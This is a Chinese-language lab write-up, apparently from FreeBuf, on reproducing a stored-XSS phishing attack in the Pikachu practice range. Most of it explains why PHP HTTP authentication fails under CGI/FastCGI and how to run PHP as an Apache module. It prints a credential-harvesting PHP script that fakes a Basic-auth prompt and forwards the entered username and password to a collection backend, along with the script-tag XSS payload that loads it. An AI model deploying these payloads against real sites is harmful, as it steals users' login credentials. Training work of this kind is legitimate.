摘要:經過搜索找到了原因: PHP的HTTP認證機制僅在PHP以Apache模塊方式運行時纔有效,因此該功能不適用於CGI版本。而phpStudy默認是以 CGI/FastCGI 模式運行,如果想以模塊方式運行,則需要收到安裝Apache和對應版本的PHP。

背景

最近在Pikachu靶場中復現釣魚攻擊時,最後一步 Basic 認證後數據無法發送到後臺,而是一直重複彈出認證提示框。經過一番折騰後終於發現了原因並解決。

原因

先貼出後臺 fish.php 代碼

<?php error_reporting(0); // var_dump($_SERVER); if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) { //發送認證框,並給出迷惑性的info     header('Content-type:text/html;charset=utf-8');     header("WWW-Authenticate: Basic realm='認證'");     header('HTTP/1.0 401 Unauthorized');     echo 'Authorization Required.';     exit; } else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){ //將結果發送給蒐集信息的後臺,請將這裏的IP地址修改爲管理後臺的IP     header("Location: http://127.0.0.1/pikachu/pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}     &password={$_SERVER[PHP_AUTH_PW]}");     exit; }  ?>

這裏可以看到,基本邏輯是判斷 $_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW'] 是否爲空,若爲空則彈窗認證框。但是實驗時發現無論怎麼輸入,都是一直循環彈認證框,猜測輸入的內容沒有傳到這2個變量。於是我將 var_dump($_SERVER) 的註釋移除,看看 $_SERVER 變量裏到底有哪些數據

array(44) {    ["PATH"]=> string(726) "G:\XShell6\;...E:\Git\bin;"    ["SYSTEMROOT"]=> string(10) "C:\WINDOWS"    ["COMSPEC"]=> string(27) "C:\WINDOWS\system32\cmd.exe"    ["PATHEXT"]=> string(53) ".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC"    ["WINDIR"]=> string(10) "C:\WINDOWS"    ["PHP_FCGI_MAX_REQUESTS"]=> string(4) "1000"    ["PHPRC"]=> string(31) "G:/phpStudy/php/php-7.0.12-nts/"    ["_FCGI_SHUTDOWN_EVENT_"]=> string(4) "2312"    ["SCRIPT_NAME"]=> string(29) "/pikachu/pkxss/xfish/fish.php"    ["REQUEST_URI"]=> string(29) "/pikachu/pkxss/xfish/fish.php"    ["QUERY_STRING"]=> string(0) ""    ["REQUEST_METHOD"]=> string(3) "GET"    ["SERVER_PROTOCOL"]=> string(8) "HTTP/1.1"    ["GATEWAY_INTERFACE"]=> string(7) "CGI/1.1"    ["REMOTE_PORT"]=> string(4) "1278"    ["SCRIPT_FILENAME"]=> string(44) "G:/phpStudy/WWW/pikachu/pkxss/xfish/fish.php"    ["SERVER_ADMIN"]=> string(18) "[email protected]"    ["CONTEXT_DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW"    ["CONTEXT_PREFIX"]=> string(0) ""    ["REQUEST_SCHEME"]=> string(4) "http"    ["DOCUMENT_ROOT"]=> string(15) "G:/phpStudy/WWW"    ["REMOTE_ADDR"]=> string(9) "127.0.0.1"    ["SERVER_PORT"]=> string(2) "80"    ["SERVER_ADDR"]=> string(9) "127.0.0.1"    ["SERVER_NAME"]=> string(9) "127.0.0.1"    ["SERVER_SOFTWARE"]=> string(52) "Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9"    ["SERVER_SIGNATURE"]=> string(0) ""    ["SystemRoot"]=> string(10) "C:\WINDOWS"    ["HTTP_COOKIE"]=> string(36) "PHPSESSID=i8puesvk7tu2s13kokh88qgtu1"    ["HTTP_ACCEPT_LANGUAGE"]=> string(14) "zh-CN,zh;q=0.9"    ["HTTP_ACCEPT_ENCODING"]=> string(17) "gzip, deflate, br"    ["HTTP_SEC_FETCH_MODE"]=> string(8) "navigate"    ["HTTP_SEC_FETCH_SITE"]=> string(4) "none"    ["HTTP_ACCEPT"]=> string(124) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"    ["HTTP_SEC_FETCH_USER"]=> string(2) "?1"    ["HTTP_USER_AGENT"]=> string(115) "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"    ["HTTP_UPGRADE_INSECURE_REQUESTS"]=> string(1) "1"    ["HTTP_CACHE_CONTROL"]=> string(9) "max-age=0"    ["HTTP_CONNECTION"]=> string(5) "close"    ["HTTP_HOST"]=> string(9) "127.0.0.1"    ["FCGI_ROLE"]=> string(9) "RESPONDER"    ["PHP_SELF"]=> string(29) "/pikachu/pkxss/xfish/fish.php"    ["REQUEST_TIME_FLOAT"]=> float(1580478129.2173)    ["REQUEST_TIME"]=> int(1580478129)  }  Authorization Required.

這裏可以看到根本沒有 $_SERVER['PHP_AUTH_USER']$_SERVER['PHP_AUTH_PW'] 這2個變量。經過搜索找到了原因: PHP的HTTP認證機制僅在PHP以Apache模塊方式運行時纔有效,因此該功能不適用於CGI版本。 通過 phpinfo() 頁面可以看到 Server APICGI/FastCGI

重新部署環境

所以現在可以知道,只需將PHP 以模塊模式運行 即可使HTTP認證機制生效。而phpStudy默認是以 CGI/FastCGI 模式運行,如果想以模塊方式運行,則需要收到安裝Apache和對應版本的PHP。

安裝Apache

首先下載 Apache 。Apache要在VC運行庫裏運行,如果沒有VC庫也可以在該頁面下載對應的 VC14VC15

下載完成後解壓到指定目錄,打開 Apache24/conf/httpd.conf 文件,找到 Define SRVROOT ,將 /Apache24 修改爲解壓目錄,如這裏解壓在 G:\Apache24 目錄

Define SRVROOT "G:\Apache24"

然後使用管理員權限打開CMD,執行以下命令

G:\Apache24\bin\httpd.exe -k install -n apache

進入 bin 目錄,運行 ApacheMonitor.exe 。在托盤處左鍵點擊Apache小圖標,選擇 start ,然後訪問 localhost 測試

配置PHP

關於PHP的版本選擇需要注意以下幾點

VC版本:以模塊模式運行,需要VC版本庫一致,前面Apache是VC15,所以PHP也要選擇VC15。並且如果電腦上沒有VC15運行庫,需要另外安裝。

TS/NTS: TS 是指具有多線程功能的構建, NTS 僅指單線程構建。NTS一般適用於CGI/FastCGI,因此這裏需要選擇 TS

x86/x64:前面Apache是x86,儘量選擇一致的,避免各種不兼容。所以選擇 x86

總結:如果你的Apache版本和我的一樣: httpd-2.4.41-o111c-x86-vc15-r2 ,那麼PHP請選擇: php-7.x.x-Win32-vc15-x86.zip

下載 PHP 並解壓

打開Apache的 httpd.conf 文件,在最後面增加配置

# 此處修改爲你的PHP目錄 LoadModule php7_module G:/php/php7apache2_4.dll PHPIniDir G:/php AddType application/x-httpd-php .php

重啓Apache,並Apache安裝目錄下的 htdocs 目錄新建一個 test.php ,寫入以下內容:

<?php phpinfo(); ?>

最後通過瀏覽器訪問: [http://localhost/test.php](http://localhost/test.php) ,可以看到 Server APIApache 2.0 Handler

復現釣魚攻擊

先把PHP安裝目錄下的 php.ini-production 文件複製一份並重命名爲 php.ini ,然後打開

找到 extension = mysqli ,將前面 ; 去掉

找到 extension_dir = "ext" ,將前面 ; 去掉,並修改爲PHP路徑下的 ext

extension_dir = "G:/php/ext"

Pikachu 靶場複製到 htdocs 目錄下,並開啓MySQL。這裏使用的是phpStudy環境,由於Apache已經另外安裝並開啓了,因此這裏只需要單獨啓動MySQL即可

瀏覽器訪問: http://127.0.0.1/pikachu/vul/xss/xss_stored.php ,插入惡意代碼

<script src="http://127.0.0.1/pikachu/pkxss/xfish/fish.php"></script>

另開一個瀏覽器,模擬普通用戶訪問 http://127.0.0.1/pikachu/vul/xss/xss_stored.php ,彈框輸入賬號密碼,輸入後點擊確定

此時,黑客可從後臺看到賬號密碼。至此,整個實驗終於結束了

總結

PHP運行模式

這裏說明一下PHP的運行模式,共有4種:

CGI協議模式:該模式允許web服務器通過特定的協議與應用程序通信。由於 每次用戶請求都得fork創建進程調用一次程序 ,然後銷燬進程,所以性能較低,調用原理大概爲:

用戶請求

Web服務器接收請求

fork子進程調用程序/執行程序

程序返回內容/程序調用結束

Web服務器接收內容

返回給用戶

Fast-CGI協議模式:CGI協議模式升級版。它像是一個常駐型CGI, 只要開啓就可一直處理請求,不再需要結束進程 。調用原理大概爲:

Web服務器Fast-CGI進程管理器初始化

預先fork n個進程用戶請求

Web服務器接收請求

交給Fast-CGI進程管理器

Fast-CGI進程管理區接收,給其中一個空閒Fast-CGI進程處理

處理完成,Fast-CGI進程變爲空閒狀態,等待下次請求

web服務器接收內容

返回給用戶

Apache 2.0 Handler 模塊模式:Apache+PHP運行時,默認使用的是模塊模式,它把PHP作爲Apache的模塊隨Apache啓動而啓動, PHP進程和Apache進程合一塊 。接收到用戶請求時則直接通過調用 mod_php 模塊進行處理。 模塊模式是以 mod_php5 模塊的形式集成,此時 mod_php5 模塊的作用是接收Apache傳遞過來的PHP文件請求,並處理這些請求,然後將處理後的結果返回給Apache。如果我們在Apache啓動前在其配置文件中配置好了PHP模塊( mod_php5 ),PHP模塊通過註冊Apache2的 ap_hook_post_config 掛鉤,在Apache啓動的時候啓動此模塊以接受PHP文件的請求

PHP-Cli模式:命令行模式。該模式不需要藉助其他程序,直接輸入 php xx.php 就能執行PHP代碼,命令行模式和常規web模式明顯不一樣有以下幾點

沒有超時時間

默認關閉Buffer緩衝

STDINSTDOUT 標準輸入/輸出/錯誤的使用

echovar_dumpphpinfo 等輸出直接輸出到控制檯

可使用的類/函數 不同

php.ini 配置的不同

參考文章:

$_SERVER['PHP_AUTH_USER']

PHP的四種運行方式

*本文作者:FengSec,轉載請註明來自FreeBuf.COM

相關文章